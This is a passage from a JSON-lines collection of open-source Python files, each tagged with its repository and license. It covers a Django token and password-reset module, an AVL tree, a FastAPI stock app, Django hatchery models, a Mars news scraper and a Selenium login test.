else:\n return scopes\n\n\ndef generate_tokens(user: CustomUser, request, use_default_app: bool =False, delete_old_tokens: bool=False, add_artist: bool=False, *args, **kwargs):\n \"\"\"\n\n\n Steps:\n 1. Get the app header and the corresponding Application\n 2. Get the extra info for the tokens\n 3. Create an Access Token\n 4. Create a Refresh Token\n 5. Delete old tokens (conditional)\n \"\"\"\n # Step 1.\n app_header_name = \"HTTP_X_APPNAME\" # X-AppName\n app_name = get_request_header(request, app_header_name)\n if app_name == None:\n if use_default_app:\n app_name = \"first_party_application\"\n else:\n raise AuthError(\"No application header found\")\n\n app_name = app_name.replace(\"_\", \" \").lower()\n application = Application.objects.filter(name__icontains=app_name).first()\n\n # Step 2.\n app_name = application.name\n app_name_formatted = app_name.replace(\" \", \"_\").upper()\n time = getattr(const, f\"{app_name_formatted}_EXPIRY_TIME\")\n expire = timezone.now() + datetime.timedelta(hours=time)\n\n # Step 3.\n access_token = AccessToken(\n user=user,\n expires=expire,\n token=common.generate_token(),\n application=application,\n scope=generate_scopes(user, application, add_artist=add_artist)\n )\n access_token.save()\n\n # Step 4.\n refresh_token = RefreshToken(\n user=user,\n token=common.generate_token(),\n application=application,\n access_token=access_token\n )\n refresh_token.save()\n\n access_token.source_refresh_token = refresh_token\n access_token.save()\n\n # Step 5.\n if delete_old_tokens:\n deleting_tokens = AccessToken.objects.filter(user=user, application=application).exclude(token=access_token.token)\n deleting_tokens.delete()\n\n deleting_tokens = RefreshToken.objects.filter(user=user, application=application).exclude(token=refresh_token.token)\n deleting_tokens.delete()\n\n return access_token, refresh_token\n\n\ndef refresh_access_token(refresh_token_token):\n \"\"\"\n\n\n Steps:\n 1. Get the Refresh Token\n 2. Configure new things for the access token\n 3. Save fields to the access token\n \"\"\"\n # step 1.\n try:\n refresh_token = RefreshToken.objects.get(token=refresh_token_token)\n except RefreshToken.DoesNotExist:\n raise AuthError(\"Cannot find Refresh Token\")\n\n # step 2.\n new_token = common.generate_token()\n time = getattr(const, f\"{refresh_token.application.name.replace(' ','_').upper()}_EXPIRY_TIME\")\n expire = timezone.now() + datetime.timedelta(hours=time)\n\n # step 3.\n access_token = refresh_token.access_token\n access_token.token = new_token\n access_token.expires = expire\n access_token.save()\n\n return access_token\n\n\n\ndef change_password(user, old_password, new_password, confirm_new_password):\n \"\"\"\n \"\"\"\n # reauthenticate the user to validate the old_password\n user_check = authenticate(username=str(user.username), password=old_password)\n if user_check == None or user_check != user:\n raise AccountNotFound(\"Old password is not correct\")\n\n del user_check\n gc.collect()\n\n # ensure that the new passwords match\n if new_password != confirm_new_password:\n raise PasswordValidationError(\"Passwords do not match\")\n\n # set the new password\n user.set_password(new_password)\n user.force_change_password = False\n user.save()\n\n\ndef get_user_by_username_or_email(email=None, username=None):\n \"\"\"\n \"\"\"\n if username != None:\n user = CustomUser.objects.get(username=username)\n return user\n\n elif email != None:\n profile = Profile.objects.get(email=email)\n return profile.user\n \n return None\n\n\ndef reset_password(email=None, username=None, user=None):\n \"\"\"\n \"\"\"\n if user:\n if isinstance(user, QuerySet):\n user = user.first()\n else:\n # get the user by email/username\n user = get_user_by_username_or_email(email, username)\n if user == None:\n raise AccountNotFound(\"Could not find this user\")\n\n # generate temp password\n password_length = retrieve_variable('temporary-password-length', 20, output_type=int)\n letters = string.ascii_letters + string.digits\n temp_password = ''.join(random.choice(letters) for i in range(password_length))\n\n # set temp password\n user.set_password(temp_password)\n user.force_change_password = True\n user.save()\n\n # send email with temp password\n email = EmailConfiguration(user, [user.profile.email,], 'reset_password', temp_password=temp_password)\n email.send_email()\n\n return user.profile.email\n\n\n\n", "source": "Revibe-Music/core-services", "license": "MIT"} {"text": "import os\n\nfrom A_MIA_R3_Core.Graphproc import Graphmod\n\n\nclass Graph_Process:\n def __path_cutext2(self,pathkun):\n pathkun22, extkun = os.path.splitext(os.path.basename(pathkun))\n return pathkun22\n def __init__(self,filename):\n self.filename=filename\n self.path_ONLY=self.__path_cutext2(filename)\n def process(self,Facearray):\n Instance2_graph = Graphmod.DrawGraphs(self.path_ONLY)\n return Instance2_graph.DrawEmotion(Facearray)\n\n", "source": "nao0423/A_MIA_R3", "license": "MIT"} {"text": "#!/usr/bin/env python3\nimport sys\nimport random\nfrom lib import *\n\nseed(sys.argv[-1])\n\nn = int(sys.argv[1])\n\ngraph = random_tree_uniform(n)\noutput_graph(n, with_random_weights(graph))\n\n", "source": "Shahraaz/CP_P_S5", "license": "MIT"} {"text": "from PicoAutonomousRobotics import KitronikPicoRobotBuggy\nbuggy = KitronikPicoRobotBuggy()\n\nbuggy.setLED(0, buggy.WHITE)\nbuggy.setLED(1, buggy.WHITE)\nbuggy.setLED(2, buggy.RED)\nbuggy.setLED(3, buggy.RED)\nbuggy.show()\n", "source": "aldavhu221/aldavhu221", "license": "MIT"} {"text": "# BST -- AVL Tree\nimport sys, os\nsys.path.append(os.path.dirname(sys.path[0]))\nfrom computGeometry import planeSweepMeshes\n\nclass new_node:\n def __init__(self,key):\n self.key=key\n self.parent=None\n self.left=None\n self.right=None\n self.height=0\n self.skew=0\n \n def __str__(self):\n return str(self.key)\n\ndef find(node,k,point,direction='down'):\n \"\"\"k is a line segment here. The order relation requires a point as reference.\"\"\"\n if node.key: # Not empty\n if node.key is k:\n return node\n else:\n isLess,isGreater,isEqual=planeSweepMeshes.myOrder(node.key,k,point,direction)\n if (isGreater or isEqual) and node.left:\n return find(node.left,k,point,direction)\n elif isLess and node.right:\n return find(node.right,k,point,direction)\n return None\n\ndef find_min(node):\n while node.left: node=node.left\n return node\n\ndef find_max(node):\n while node.right: node=node.right\n return node\n\ndef traversal(node): # In-order\n \"\"\"Generator function that returns the sorted list of all nodes.\"\"\"\n if node.left: yield from traversal(node.left)\n yield node\n if node.right: yield from traversal(node.right)\n\ndef is_right_child(node):\n return node.parent and (node.parent.right is node)\n\ndef is_left_child(node):\n return node.parent and (node.parent.left is node)\n\ndef successor(node):\n if node.right: return find_min(node.right)\n while is_right_child(node): node=node.parent\n return node.parent\n\ndef predecessor(node):\n if node.left: return find_max(node.left)\n while is_left_child(node): node=node.parent\n return node.parent\n\ndef update(node):\n left_height=node.left.height if node.left else -1\n right_height=node.right.height if node.right else -1\n\n node.height=1+max(left_height,right_height)\n node.skew=right_height-left_height\n\ndef maintain(node):\n update(node)\n balance(node)\n if node.parent:\n maintain(node.parent)\n\ndef balance(node):\n if node.skew==2:\n if node.right.skew==-1:\n right_rotate(node.right)\n left_rotate(node)\n if node.skew==-2:\n if node.left.skew==1:\n left_rotate(node.left)\n right_rotate(node)\n\ndef left_rotate(node):\n tempNode=new_node(node.key)\n\n tempNode.left=node.left\n if node.left: node.left.parent=tempNode\n tempNode.right=node.right.left\n if node.right.left: node.right.left.parent=tempNode\n tempNode.parent=node\n\n node.key=node.right.key\n if node.right.right: node.right.right.parent=node\n node.right=node.right.right\n node.left=tempNode\n\n update(tempNode)\n update(node)\n\ndef right_rotate(node):\n tempNode=new_node(node.key)\n\n tempNode.left=node.left.right\n if node.left.right: node.left.right.parent=tempNode\n tempNode.right=node.right\n if node.right: node.right.parent=tempNode\n tempNode.parent=node\n\n node.key=node.left.key\n node.right=tempNode\n if node.left.left: node.left.left.parent=node\n node.left=node.left.left\n\n update(tempNode)\n update(node)\n\ndef insert(node,k,point): # Empty tree is allowed.\n if node.key:\n _,isGreater,isEqual=planeSweepMeshes.myOrder(node.key,k,point)\n\n if isGreater or isEqual:\n if node.left:\n insert(node.left,k,point)\n else:\n node.left=new_node(k)\n node.left.parent=node\n maintain(node)\n else:\n if node.right:\n insert(node.right,k,point)\n else:\n node.right=new_node(k)\n node.right.parent=node\n maintain(node)\n else:\n node.key=k\n\ndef delete(node):\n if node.left and node.right:\n succ=find_min(node.right)\n node.key=succ.key\n delete(succ)\n\n elif node.left: \n node.key=node.left.key\n node.right=node.left.right\n node.left=node.left.left\n \n if node.left: node.left.parent=node\n if node.right: node.right.parent=node\n maintain(node)\n\n elif node.right:\n node.key=node.right.key\n node.left=node.right.left\n node.right=node.right.right\n\n if node.left: node.left.parent=node\n if node.right: node.right.parent=node\n maintain(node)\n\n else:\n if node.parent and is_left_child(node):\n node.parent.left=None\n maintain(node.parent)\n elif node.parent and is_right_child(node) :\n node.parent.right=None\n maintain(node.parent)\n else:\n node.key=None # Delete the root.\n maintain(node)\n\ndef checkBST(node,point):\n node1=find_min(node)\n node2=successor(node1)\n\n while node1 and node2:\n isLess,_,_=planeSweepMeshes.myOrder(node1.key,node2.key,point)\n if not isLess:\n isLess,_,_=planeSweepMeshes.myOrder(node1.key,node2.key,point)\n\n node1=node2\n node2=successor(node1)\n\nif __name__=='__main__':\n pass\n ", "source": "junbinhuang/mofem", "license": "MIT"} {"text": "import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\n\ndef parameter(*size: int) -> nn.Parameter:\n return nn.Parameter(torch.zeros(*size), requires_grad=True)\n\n\ndef positive(tensor: torch.Tensor) -> torch.Tensor:\n return F.softplus(tensor) # ReLU + eps \u3068\u304b\u3060\u3068\u3046\u307e\u304f\u3044\u304b\u306a\u3044 (\u304a\u305d\u3089\u304f\u52fe\u914d\u6d88\u5931\u306e\u305b\u3044)\n", "source": "naktazdim/irtorch", "license": "MIT"} {"text": "import models\nimport yfinance\nfrom fastapi import FastAPI, Request, Depends, BackgroundTasks\nfrom fastapi.templating import Jinja2Templates\nfrom database import SessionLocal, engine\nfrom pydantic import BaseModel\nfrom models import Stock\nfrom sqlalchemy.orm import Session\n\napp = FastAPI()\n\nmodels.Base.metadata.create_all(bind=engine)\n\ntemplates = Jinja2Templates(directory=\"templates\")\n\nclass StockRequest(BaseModel):\n symbol: str\n\n\ndef get_db():\n try:\n db = SessionLocal()\n yield db\n finally:\n db.close()\n\n@app.get('/')\ndef home(request: Request, symbol = None, forward_pe=None, sector=None, order=None, db: Session = Depends(get_db)):\n \"\"\"\n Show all stocks in the database.\n Filters by symbol, p/e and sector if provided.\n \"\"\"\n stocks = db.query(Stock)\n\n if symbol:\n stocks = stocks.filter(Stock.symbol == symbol)\n\n if forward_pe:\n stocks = stocks.filter(Stock.forward_pe > forward_pe)\n\n if sector:\n stocks = stocks.filter(Stock.sector == sector)\n\n if (order is None) or (order == 'Market Cap'):\n stocks = stocks.order_by(Stock.marketcap.desc()).all()\n elif order == 'Country':\n stocks = stocks.order_by(Stock.country).all()\n elif order == 'Sector':\n stocks = stocks.order_by(Stock.sector).all()\n elif order == 'P/E':\n stocks = stocks.order_by(Stock.forward_pe.desc()).all()\n elif order == 'Volume':\n stocks = stocks.order_by(Stock.volume.desc()).all()\n\n return templates.TemplateResponse(\"home.html\", {\n \"request\": request,\n \"stocks\": stocks,\n \"symbol\": symbol\n })\n\n\ndef fetch_stock_data(symbol: str):\n \"\"\"\n Background task to use yfinance and load key statistics\n \"\"\"\n db = SessionLocal()\n\n stock = db.query(Stock).filter(Stock.symbol == symbol).first()\n\n yahoo_data = yfinance.Ticker(stock.symbol)\n\n if (stock.symbol is None) or (stock.symbol == \"\") or (yahoo_data.info['regularMarketPrice'] is None):\n db.delete(stock)\n db.commit()\n return None\n\n stock.name = yahoo_data.info['shortName']\n try:\n stock.country = yahoo_data.info['country']\n except KeyError:\n stock.country = None\n try:\n stock.sector = yahoo_data.info['sector']\n except KeyError:\n stock.sector = None\n stock.ma200 = yahoo_data.info['twoHundredDayAverage']\n stock.ma50 = yahoo_data.info['fiftyDayAverage']\n stock.price = yahoo_data.info['previousClose']\n stock.forward_pe = yahoo_data.info['forwardPE']\n stock.marketcap = yahoo_data.info['marketCap']\n stock.volume = yahoo_data.info['volume']\n\n db.add(stock)\n db.commit()\n\n\n@app.post(\"/stock\")\nasync def create_stock(stock_request: StockRequest, db: Session = Depends(get_db)):\n \"\"\"\n Add one or more tickers to the database\n \"\"\"\n stock = Stock()\n stock.symbol = stock_request.symbol\n\n if stock.symbol is None or stock.symbol == \"\":\n return None\n\n db.add(stock)\n db.commit()\n\n return {\n \"code\": \"success\",\n \"message\": \"stock was added to the database\"\n }\n\n\n@app.post(\"/fetchall\")\nasync def fetchall(stock_request: StockRequest, background_tasks: BackgroundTasks):\n \"\"\"\n Get yfinance for update all symbols\n \"\"\"\n stock = Stock()\n stock.symbol = stock_request.symbol\n\n if stock.symbol is None or stock.symbol == \"\":\n return None\n\n background_tasks.add_task(fetch_stock_data, stock.symbol)\n\n return {\n \"code\": \"success\",\n \"message\": \"fetch all stocks\"\n }\n", "source": "leogregianin/stocks", "license": "MIT"} {"text": "\nimport numpy as np\n\ndef unflatten(w, weights):\n sizes = [x.size for x in weights]\n split_idx = np.cumsum(sizes)\n update_ravelled = np.split(w, split_idx)[:-1]\n shapes = [x.shape for x in weights]\n update_list = [np.reshape(u, s) for s, u in zip(shapes, update_ravelled)]\n return update_list\n\ndef flatten_update(update):\n return np.concatenate([x.ravel() for x in update])", "source": "pps-lab/rofl-project-code", "license": "MIT"} {"text": "import itertools\n\nimport pandas as pd\n\nfrom vivarium_conic_vitamin_a_supp_gbd2019.constants import models\n\n#################################\n# Results columns and variables #\n#################################\n\nTOTAL_POPULATION_COLUMN = 'total_population'\nTOTAL_YLDS_COLUMN = 'years_lived_with_disability'\nTOTAL_YLLS_COLUMN = 'years_of_life_lost'\n\n# Columns from parallel runs\nINPUT_DRAW_COLUMN = 'input_draw'\nRANDOM_SEED_COLUMN = 'random_seed'\nOUTPUT_SCENARIO_COLUMN = 'screening_algorithm.scenario'\n\nSTANDARD_COLUMNS = {\n 'total_population': TOTAL_POPULATION_COLUMN,\n 'total_ylls': TOTAL_YLLS_COLUMN,\n 'total_ylds': TOTAL_YLDS_COLUMN,\n}\n\nTHROWAWAY_COLUMNS = [f'{state}_event_count' for state in models.STATES]\n\nTOTAL_POPULATION_COLUMN_TEMPLATE = 'total_population_{POP_STATE}'\nPERSON_TIME_COLUMN_TEMPLATE = 'person_time_in_{YEAR}_among_{SEX}_in_age_group_{AGE_GROUP}'\nDEATH_COLUMN_TEMPLATE = 'death_due_to_{CAUSE_OF_DEATH}_in_{YEAR}_among_{SEX}_in_age_group_{AGE_GROUP}'\nYLLS_COLUMN_TEMPLATE = 'ylls_due_to_{CAUSE_OF_DEATH}_in_{YEAR}_among_{SEX}_in_age_group_{AGE_GROUP}'\nYLDS_COLUMN_TEMPLATE = 'ylds_due_to_{CAUSE_OF_DISABILITY}_in_{YEAR}_among_{SEX}_in_age_group_{AGE_GROUP}'\nSTATE_PERSON_TIME_COLUMN_TEMPLATE = '{STATE}_person_time_in_{YEAR}_among_{SEX}_in_age_group_{AGE_GROUP}'\nTRANSITION_COUNT_COLUMN_TEMPLATE = '{TRANSITION}_event_count_in_{YEAR}_among_{SEX}_in_age_group_{AGE_GROUP}'\n\nCOLUMN_TEMPLATES = {\n 'population': TOTAL_POPULATION_COLUMN_TEMPLATE,\n 'person_time': PERSON_TIME_COLUMN_TEMPLATE,\n 'deaths': DEATH_COLUMN_TEMPLATE,\n 'ylls': YLLS_COLUMN_TEMPLATE,\n 'ylds': YLDS_COLUMN_TEMPLATE,\n 'state_person_time': STATE_PERSON_TIME_COLUMN_TEMPLATE,\n 'transition_count': TRANSITION_COUNT_COLUMN_TEMPLATE,\n}\n\nNON_COUNT_TEMPLATES = [\n]\n\nPOP_STATES = ('living', 'dead', 'tracked', 'untracked')\nSEXES = ('male', 'female')\n# TODO - add literals for years in the model\nYEARS = ()\n# TODO - add literals for ages in the model\nAGE_GROUPS = ()\n# TODO - add causes of death\nCAUSES_OF_DEATH = (\n 'other_causes',\n # models.FIRST_STATE_NAME,\n)\n# TODO - add causes of disability\nCAUSES_OF_DISABILITY = (\n # models.FIRST_STATE_NAME,\n # models.SECOND_STATE_NAME,\n)\n\nTEMPLATE_FIELD_MAP = {\n 'POP_STATE': POP_STATES,\n 'YEAR': YEARS,\n 'SEX': SEXES,\n 'AGE_GROUP': AGE_GROUPS,\n 'CAUSE_OF_DEATH': CAUSES_OF_DEATH,\n 'CAUSE_OF_DISABILITY': CAUSES_OF_DISABILITY,\n 'STATE': models.STATES,\n 'TRANSITION': models.TRANSITIONS,\n}\n\n\ndef RESULT_COLUMNS(kind='all'):\n if kind not in COLUMN_TEMPLATES and kind != 'all':\n raise ValueError(f'Unknown result column type {kind}')\n columns = []\n if kind == 'all':\n for k in COLUMN_TEMPLATES:\n columns += RESULT_COLUMNS(k)\n columns = list(STANDARD_COLUMNS.values()) + columns\n else:\n template = COLUMN_TEMPLATES[kind]\n filtered_field_map = {field: values\n for field, values in TEMPLATE_FIELD_MAP.items() if f'{{{field}}}' in template}\n fields, value_groups = filtered_field_map.keys(), itertools.product(*filtered_field_map.values())\n for value_group in value_groups:\n columns.append(template.format(**{field: value for field, value in zip(fields, value_group)}))\n return columns\n\n\ndef RESULTS_MAP(kind):\n if kind not in COLUMN_TEMPLATES:\n raise ValueError(f'Unknown result column type {kind}')\n columns = []\n template = COLUMN_TEMPLATES[kind]\n filtered_field_map = {field: values\n for field, values in TEMPLATE_FIELD_MAP.items() if f'{{{field}}}' in template}\n fields, value_groups = list(filtered_field_map.keys()), list(itertools.product(*filtered_field_map.values()))\n for value_group in value_groups:\n columns.append(template.format(**{field: value for field, value in zip(fields, value_group)}))\n df = pd.DataFrame(value_groups, columns=map(lambda x: x.lower(), fields))\n df['key'] = columns\n df['measure'] = kind # per researcher feedback, this column is useful, even when it's identical for all rows\n return df.set_index('key').sort_index()\n\n", "source": "ihmeuw/vivarium_conic_vitamin_a_supp_gbd2019", "license": "BSD-3-Clause"} {"text": "# -*- coding: utf-8 -*-\n\"\"\"\nGeneric data containers\n\nCreated on Thu Jul 7 10:31:43 2016\n\n@author: chc\n\"\"\"\n\nimport numpy as _np\n\nclass Data:\n \"\"\"\n Contains the underlying data to be plotted\n \n Attributes\n ----------\n x : ndarray (1D)\n x-data (effectively, the horizontal axis data)\n \n y : ndarray (1D)\n y-data (effectively, the vertical axis data)\n \n label : str\n Label information, i.e., the name of the plot, graph, etc.\n \n style_dict : dict\n Style information (e.g., color, linewidth, etc)\n \n mplobj : object\n Object returned from the MPL plotting procedure.\n \"\"\"\n def __init__(self):\n self._setupData()\n\n def _setupData(self):\n self.x = None\n self.y = None\n self.id = None\n self.label = None\n self.mplobj = None\n #self.units = {'x_units': None, 'y_units': None}\n self.style_dict = {}\n self.meta = {}\n\n @property\n def model_style(self):\n out = {}\n out.update(self.style_dict)\n out['label'] = self.label\n out['id'] = self.id\n out['meta'] = self.meta\n return out\n\nclass Data2D(Data):\n \"\"\"\n Contains the underlying data to be imaged\n \"\"\"\n def __init__(self):\n self._setupData()\n self.img = None\n\n @property\n def extent(self):\n \"\"\"\n Generate an extent list used for mpl.imshow\n [xmin, xmax, ymin, ymax]\n \"\"\"\n ext = [None, None, None, None]\n\n if self.x is not None:\n ext[0] = self.x.min()\n ext[1] = self.x.max()\n else:\n ext[0] = 0\n ext[1] = self.img.shape[1]\n\n if self.y is not None:\n ext[2] = self.y.min()\n ext[3] = self.y.max()\n else:\n ext[2] = 0\n ext[3] = self.img.shape[0]\n\n return ext\n\nclass DataGlobal:\n \"\"\"\n Contains data that is pertinent across all plots\n \"\"\"\n def __init__(self):\n self.labels = {'x_label': None, 'y_label': None, 'title': None}\n", "source": "fochoao/cpython", "license": "bzip2-1.0.6"} {"text": "# -*- coding: utf-8 -*-\n#########################################################################\n#\n# Copyright (C) 2020: TelelBirds\n#\n#\n#########################################################################\nfrom __future__ import unicode_literals\nimport os\nimport datetime\nfrom django.core.validators import MaxValueValidator, MinValueValidator\n\nfrom django.db import models\nfrom django.db.models import ImageField\nfrom django.utils.safestring import mark_safe\nfrom django.template.defaultfilters import truncatechars, slugify # or truncatewords\nfrom django.contrib.gis.db import models as gismodels\n\nfrom imagekit.models import ProcessedImageField\nfrom imagekit.processors import ResizeToFit\n\nfrom telelbirds import settings\nfrom apps.breeders.models import Breeders, Breed\n\n\nclass Customer(models.Model):\n \"\"\"\n Customer Model\n \"\"\"\n id = models.AutoField(primary_key=True)\n first_name=models.CharField(null=True,blank=True,max_length=50)\n last_name=models.CharField(null=True,blank=True,max_length=50)\n full_name=models.CharField(null=True,blank=True,max_length=50)\n photo = ProcessedImageField(upload_to='customer_photos',null=True,blank=True, processors=[ResizeToFit(1280)], format='JPEG', options={'quality': 70})\n email=models.EmailField(null=True,blank=True,max_length=50)\n phone=models.CharField(null=True,blank=True,max_length=15)\n address=models.CharField(null=True,blank=True,max_length=50)\n location=gismodels.PointField(\n srid=4326, \n null=True, \n spatial_index=True, \n geography=True, \n blank=True) # Point\n latitude = models.FloatField(null=True,blank=True)\n longitude = models.FloatField(null=True,blank=True)\n customertype=models.CharField(null=True,blank=True,max_length=50)\n notification_sms=models.BooleanField(null=True,blank=True,max_length=50)\n notification_sms=models.BooleanField(null=True,blank=True,max_length=50)\n delivery=models.BooleanField(null=True,blank=True,max_length=50) \n followup=models.BooleanField(null=True,blank=True,max_length=50)\n created = models.DateTimeField(auto_now_add=True)\n\n class Meta:\n ordering = ['created']\n db_table = \"customers\"\n verbose_name = 'Customer'\n verbose_name_plural = \"Customers\"\n managed = True\n\n def save(self, *args, **kwargs):\n self.full_name = self.first_name + \" \" + self.last_name\n super(Customer, self).save(*args, **kwargs)\n\n def __str__(self):\n return self.last_name + \", \" + self.first_name\n \n def get_absolute_url(self):\n return '/customer/{}'.format(self.full_name)\n\n\nclass Eggs(models.Model):\n \"\"\"\n Eggs Model\n \"\"\"\n id = models.AutoField(primary_key=True)\n batchnumber = models.CharField(null=True,blank=True,max_length=50) \n customer=models.ForeignKey(Customer,\n related_name=\"eggs_customer\", blank=True, null=True,\n on_delete=models.SET_NULL)\n breed=models.ForeignKey(Breed,\n related_name=\"eggs_breed\", blank=True, null=True,\n on_delete=models.SET_NULL)\n customercode = models.CharField(null=True,blank=True,max_length=50)\n photo = ProcessedImageField(upload_to='eggs_photos',null=True,blank=True, processors=[ResizeToFit(1280)], format='JPEG', options={'quality': 70})\n brought = models.IntegerField(null=True,blank=True)\n returned = models.IntegerField(null=True,blank=True)\n received=models.IntegerField(null=True,blank=True,max_length=50) \n created = models.DateTimeField(auto_now_add=True)\n\n class Meta:\n ordering = ['created']\n db_table = \"eggs\"\n verbose_name = 'Egg'\n verbose_name_plural = \"Eggs\"\n managed = True\n\n def save(self, *args, **kwargs):\n self.received = self.brought - self.returned\n super(Eggs, self).save(*args, **kwargs)\n\n def __str__(self):\n return self.batchnumber\n \n def get_absolute_url(self):\n return '/customer_eggs/{}'.format(self.batchnumber)\n\n\nclass CustomerRequest(models.Model):\n \"\"\"\n CustomerRequest Model\n \"\"\"\n id = models.AutoField(primary_key=True)\n requestcode=models.CharField(null=True,blank=True,max_length=50)\n eggs=models.ForeignKey(Eggs,\n related_name=\"customerrequest_eggs\", blank=True, null=True,\n on_delete=models.SET_NULL) \n created = models.DateTimeField(auto_now_add=True)\n\n class Meta:\n ordering = ['created']\n db_table = \"CustomerRequests\"\n verbose_name = 'CustomerRequest'\n verbose_name_plural = \"CustomerRequests\"\n managed = True\n \n def get_absolute_url(self):\n return '/customer_request/{}'.format(self.requestcode)", "source": "kngeno/telelbirds", "license": "MIT"} {"text": "from splinter import Browser\nfrom bs4 import BeautifulSoup as bs\nimport time\nimport pandas as pd\n\ndef init_browser():\n # @NOTE: Replace the path with your actual path to the chromedriver\n executable_path = {\"executable_path\": \"/usr/local/bin/chromedriver\"}\n return Browser(\"chrome\", **executable_path, headless=False)\n\ndef mars_news():\n\tmars_data={}\n\tbrowser = init_browser()\n #1. NASA Mars News scrape\n\turl = 'https://mars.nasa.gov/news/'\n\tprint(\"Visiting news page\")\n\tbrowser.visit(url)\n\n\t# Scrape page into Soup\n\thtml = browser.html\n\tprint(\"Scraping data...\")\n\tsoup = bs(html, 'html.parser')\n\t# latest article title \n\tnews_title = soup.find('div', class_='content_title').find('a').text\n\tprint(\"Found title..\")\n\t# latest article paragraph \n\tnews_p = soup.find('div', class_='article_teaser_body').text\n\tmars_data['news_title'] = news_title\n\tmars_data['news_p'] = news_p\n\tprint(\"Quitting browser\")\n\tbrowser.quit()\n\treturn mars_data\n\n\t#2.scrape freatured image on nasa.gov\n\ndef featured_img():\n\tmars_data={}\n\timg_url = \"https://www.jpl.nasa.gov/spaceimages/?search=&category=Mars\"\n\tbrowser = init_browser() \n\tbrowser.visit(img_url)\n\n\thtml = browser.html\n\n\t# Scrape page into Soup\n\tsoup = bs(html, \"html.parser\")\n\n\t# Featured image on mars \n\t# Return results\n\tarticles=soup.find('div',class_=\"carousel_items\").find('article')\n\timgtag=articles['style']\n\n\tbase_path='https://www.jpl.nasa.gov/'\n\t#extract url from style\n\t#get image URL through a string split\n\trel_path=imgtag.split(\"('\", 1)[1].split(\"')\")[0]\n\tfeatured_image = base_path+ rel_path\n\tmars_data['featured_image'] = featured_image\n\tbrowser.quit()\n\treturn mars_data\n\n\t\n\t#3.scrape Mars weather\n\ndef mars_weather():\n\tmars_data={}\n\tbrowser = init_browser() \n\n\tweather_url = \"https://twitter.com/marswxreport?lang=en\"\n\tbrowser.visit(weather_url)\n\thtml = browser.html\n\tsoup = bs(html, \"html.parser\")\n\tweather_rel_path = soup.find(\"div\", class_= \"js-tweet-text-container\")\n\tmars_weather=weather_rel_path.find(class_=\"tweet-text\")\n\n\tmyweather=''\n\ti=0\n\tfor tag in mars_weather:\n\t\ti=i+1\n\t\tif i==1:\n\t\t\tmyweather=tag.string\n\t\t\tprint(myweather)\n\tmars_data['weather'] = myweather\n\tbrowser.quit()\n\treturn mars_data\n\n\n\n\t#4. scrape mars facts\n\ndef mars_facts():\n\tmars_data={}\n\tbrowser = init_browser()\n\t\n\t# scrape mars facts table\n\tmarsFacts_url = \"https://space-facts.com/mars/\"\n\tbrowser.visit(marsFacts_url)\n\thtml = browser.html\n\tsoup = bs(html, \"html.parser\")\n\n\t#Find Table and turn into data frame\n\tmarsFacts_table = soup.find(\"table\",class_=\"tablepress-id-mars\")\n\ttable_rows = marsFacts_table.find_all('tr')\n\n\tres = []\n\tfor tr in table_rows:\n\t td = tr.find_all('td')\n\t row = [tr.text.strip() for tr in td if tr.text.strip()]\n\t if row:\n\t res.append(row)\n\n\t#Initialize the pandas data frame\n\tdf = pd.DataFrame(res,columns=['Description','Measurement'])\n\t\n\n\tmars_data['facts'] = res\n\n\tbrowser.quit()\n\treturn mars_data\n\n\n\t# 5. scrape mars hemisphere\n\ndef get_link_image(browser,link):\n browser.visit(link)\n html=browser.html\n sp=bs(html,\"html.parser\")\n tags=sp.find(\"div\",class_=\"downloads\").find('ul').find('li').find('a')\n imglink=tags['href']\n if 'jpg' in imglink:\n return(imglink)\n else:\n return(None)\n\n\n\ndef mars_hemis():\n\tmars_data={}\n\tbrowser = init_browser()\n\n\tmarsurl='https://astrogeology.usgs.gov/search/results?q=hemisphere+enhanced&k1=target&v1=Mars'\n\tbrowser.visit(marsurl)\n\thtml=browser.html\n\n\t#Find all the items\n\tsoup = bs(html, \"html.parser\")\n\t#Find all links('a') on the page\n\titems= soup.find_all(\"a\",class_=\"itemLink product-item\")\n\n\tmarsroot='https://astrogeology.usgs.gov'\n\n\ti=0\n\themisphere_image_urls=[]\n\tfor tag in items:\n\t imageURL=marsroot+tag['href']\n\t title=tag.find('h3')\n\t if title is not None:\n\t i=i+1\n\t print(imageURL)\n\t name=title.string\n\t print(name)\n\t print(\"Title is \"+title.string)\n\t #Call the function to follow the links\n\t fullimglink=get_link_image(browser,imageURL)\n\t if fullimglink is not None:\n\t hemisphere_image_urls.append({\"title\" : name, 'img_url':fullimglink })\n\n\t print(\"----<>-----\")\n\n\t#Print result dictionary\n\tprint(hemisphere_image_urls)\n\n\tmars_data['hemisphere_image_urls'] = hemisphere_image_urls\n\n\tbrowser.quit()\n\treturn mars_data\n\ndef main_mars_scrape_info():\n \tnews_result=mars_news()\n \tprint(\"--Lookinf for Images\")\n \timage_result=featured_img()\n \tprint(\"--Looking for mars weather\")\n \tweather= mars_weather()\n \tprint('-- Looking for facts on mars')\n \tfacts = mars_facts()\n \tprint('--- Looking for Mars Hemis')\n \themisphere = mars_hemis()\n\n \tmarsdata={}\n \tmarsdata['news']=news_result\n \tmarsdata['featured_image']=image_result\n \tmarsdata['weather']=weather\n \tmarsdata['hemisphere']=hemisphere\n \tmarsdata['facts']=facts\n\n \treturn(marsdata)\n\n\n\n\n\n\n\n\n\n\n\n\t\n\n\n\n\n\n\t\n\n\n\n\n\n\n\n\n\n", "source": "rmishra1990/Hw-10-Web-Mongo-DB", "license": "MIT"} {"text": "import pytest\nimport numpy as np\nfrom faker import Faker\nfrom seleniumbase import BaseCase\n\nfrom qa327_test.conftest import base_url\nfrom unittest.mock import patch\nfrom qa327.models import db, User\nfrom werkzeug.security import generate_password_hash, check_password_hash\n\n\"\"\"\nThis file defines all unit tests for the frontend login page.\n\"\"\"\n\nfake = Faker()\nemail = fake.email()\nname = fake.name()\n# Mock a sample user\ntest_user = User(\n email=email,\n name=name,\n password=generate_password_hash('test_Frontend!2')\n)\n\n# Moch some sample ticksets\ntest_tickets = [\n {'name': 't1', 'price': '100'}]\n\nclass FrontEndLoginFunctionTest(BaseCase):\n\n def test_show_login_not(self, *_):\n \"\"\"\n R1.1.1: Check if the default page before login is /login\n \"\"\"\n self.open(base_url) # open login page\n\n cur_url = self.get_current_url()\n self.assertEqual(cur_url, \"http://localhost:8081/login\")\n self.assert_element(\"#login_title\") # Had to create a title for H1 in login\n self.assert_text(\"Log In\", \"#login_title\") # check if 'Log In' is visible\n\n def test_login_return_home(self, *_):\n \"\"\"\n R1.1.2: Check if the home page '/' is inaccessible when not logged in\n \"\"\"\n # Attempt to open home page (not logged in)\n self.open(base_url + '/')\n\n # Check if returned to /login page\n cur_url = 